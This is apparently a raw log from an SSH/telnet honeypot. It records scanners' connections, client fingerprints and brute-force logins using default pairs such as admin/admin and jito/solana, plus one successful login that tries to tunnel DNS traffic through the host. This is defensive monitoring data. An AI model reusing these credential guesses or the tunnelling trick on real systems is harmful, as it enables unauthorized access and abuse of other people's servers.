{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:10:56.680730Z","src_ip":"193.32.162.145","session":"46e3b25d0f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:10:57.039757Z","src_ip":"193.32.162.145","session":"46e3b25d0f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:10:58.166499Z","src_ip":"193.32.162.145","session":"46e3b25d0f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":35310,"dst_ip":"10.17.0.5","dst_port":22,"session":"1561cd69318a","protocol":"ssh","message":"New connection: 190.244.39.224:35310 (10.17.0.5:22) [session: 1561cd69318a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:12:20.080984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:12:20.088665Z","src_ip":"190.244.39.224","session":"1561cd69318a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:12:20.288581Z","src_ip":"190.244.39.224","session":"1561cd69318a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unifiadmin","password":"unifiadmin","message":"login attempt [unifiadmin/unifiadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:12:21.097782Z","src_ip":"190.244.39.224","session":"1561cd69318a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:12:22.301296Z","src_ip":"190.244.39.224","session":"1561cd69318a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40696,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f4bb2b14a7","protocol":"ssh","message":"New connection: 193.32.162.145:40696 (159.203.135.109:22) [session: d5f4bb2b14a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:06.011317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:06.018744Z","src_ip":"193.32.162.145","session":"d5f4bb2b14a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:06.115103Z","src_ip":"193.32.162.145","session":"d5f4bb2b14a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:06.405124Z","src_ip":"193.32.162.145","session":"d5f4bb2b14a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:07.504890Z","src_ip":"193.32.162.145","session":"d5f4bb2b14a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38206,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff291c4cb413","protocol":"ssh","message":"New connection: 194.59.206.2:38206 (10.17.0.5:22) [session: ff291c4cb413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:21.670443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:21.674867Z","src_ip":"194.59.206.2","session":"ff291c4cb413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:21.774737Z","src_ip":"194.59.206.2","session":"ff291c4cb413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:21.864902Z","src_ip":"194.59.206.2","session":"ff291c4cb413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45088,"dst_ip":"10.17.0.5","dst_port":23,"session":"deaca6877961","protocol":"telnet","message":"New connection: 180.235.129.180:45088 (10.17.0.5:23) [session: deaca6877961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:32.658203Z"}
{"eventid":"cowrie.session.closed","duration":8.673359870910645,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:13:41.331324Z","src_ip":"180.235.129.180","session":"deaca6877961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52130,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb609c61ffa","protocol":"ssh","message":"New connection: 87.251.64.176:52130 (10.17.0.5:22) [session: 2cb609c61ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:12.249174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:12.281269Z","src_ip":"87.251.64.176","session":"2cb609c61ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:12.348631Z","src_ip":"87.251.64.176","session":"2cb609c61ffa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:12.852591Z","src_ip":"87.251.64.176","session":"2cb609c61ffa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:13.010498Z","session":"2cb609c61ffa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:13.156853Z","src_ip":"87.251.64.176","session":"2cb609c61ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:14:13.456432Z","src_ip":"87.251.64.176","session":"2cb609c61ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54734,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b9afe20bd2","protocol":"ssh","message":"New connection: 193.32.162.145:54734 (159.203.135.109:22) [session: 58b9afe20bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:13.264571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:13.271053Z","src_ip":"193.32.162.145","session":"58b9afe20bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:13.464996Z","src_ip":"193.32.162.145","session":"58b9afe20bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:13.786035Z","src_ip":"193.32.162.145","session":"58b9afe20bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:14.891170Z","src_ip":"193.32.162.145","session":"58b9afe20bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":59786,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e83ab3a2aed","protocol":"ssh","message":"New connection: 38.96.178.216:59786 (10.17.0.5:22) [session: 0e83ab3a2aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:24.970014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:24.974240Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:24.981730Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:75:03:8b:92:7c:d3:03:91:4a:b9:3b:f4:61:22:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwRB9X0a1LsjuUMXmqBKOLkT86lZXvI8+zzHCxNX4b26M1Rxvr/tjGmVqHWzFFv1sNgKAHB0qy9l3hY5MMBW+AtdfE5vZJ9f7CVp/ZnaLwgLwmLb1bK7KAa9+4Sbfh2y0Bd1htO14cxqqPgfVRm/RoGqBJBeAc9XiIMnIyiqr/xstap+JcFMVaUxVTv7UKwZdSfFtO4IhTCnH08TSjgK6ftKCfc1QLayUfGZNxfxaS9qlB5nX08M7l+MSwubpvlpsg1pXBispNqSsNKosLU2Q1p3pijjVxO1ir01CE/pfzLvwExpbkvB8rS48jXXYJ3HZk1fyv70M+j4Ro7Ap8aT6d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:75:03:8b:92:7c:d3:03:91:4a:b9:3b:f4:61:22:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.003333Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:75:03:8b:92:7c:d3:03:91:4a:b9:3b:f4:61:22:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwRB9X0a1LsjuUMXmqBKOLkT86lZXvI8+zzHCxNX4b26M1Rxvr/tjGmVqHWzFFv1sNgKAHB0qy9l3hY5MMBW+AtdfE5vZJ9f7CVp/ZnaLwgLwmLb1bK7KAa9+4Sbfh2y0Bd1htO14cxqqPgfVRm/RoGqBJBeAc9XiIMnIyiqr/xstap+JcFMVaUxVTv7UKwZdSfFtO4IhTCnH08TSjgK6ftKCfc1QLayUfGZNxfxaS9qlB5nX08M7l+MSwubpvlpsg1pXBispNqSsNKosLU2Q1p3pijjVxO1ir01CE/pfzLvwExpbkvB8rS48jXXYJ3HZk1fyv70M+j4Ro7Ap8aT6d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.011199Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:b8:f3:cd:ad:7b:a9:6a:6c:27:c4:c0:43:24:9f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjdcDxrzasRRHqgaTxL8ePEl2l+HV3/LVx4fnZ7BSzLhgov1dtdtdl9Q34gKsB5BzAOeBjN4Bb7F/SSg4l2L4iJg1Ay1ySe9FKzLs+Fc5kOt8n2/Mwq7MjMzCxksBHskTCd51uvURsk2dhJlfUeEm+U/DsZ5/NTvjGw0aR3XJ5/sWJG6vXg7Gofi/HHZXmYin6ezXdxdcH+7ZaEytmCi5m7Jv8UZFLiFTCJG8q+3UJoF0GUOIxZZuTw12oRwWQXwC1SgocltR2ROAthUNldvgECkxGY7P7uuMxbVHQvAfteEtE1LmneAUDgHA0VfrGLstv2iX6qLCG6fb0zKDLclFp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:b8:f3:cd:ad:7b:a9:6a:6c:27:c4:c0:43:24:9f:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.019958Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
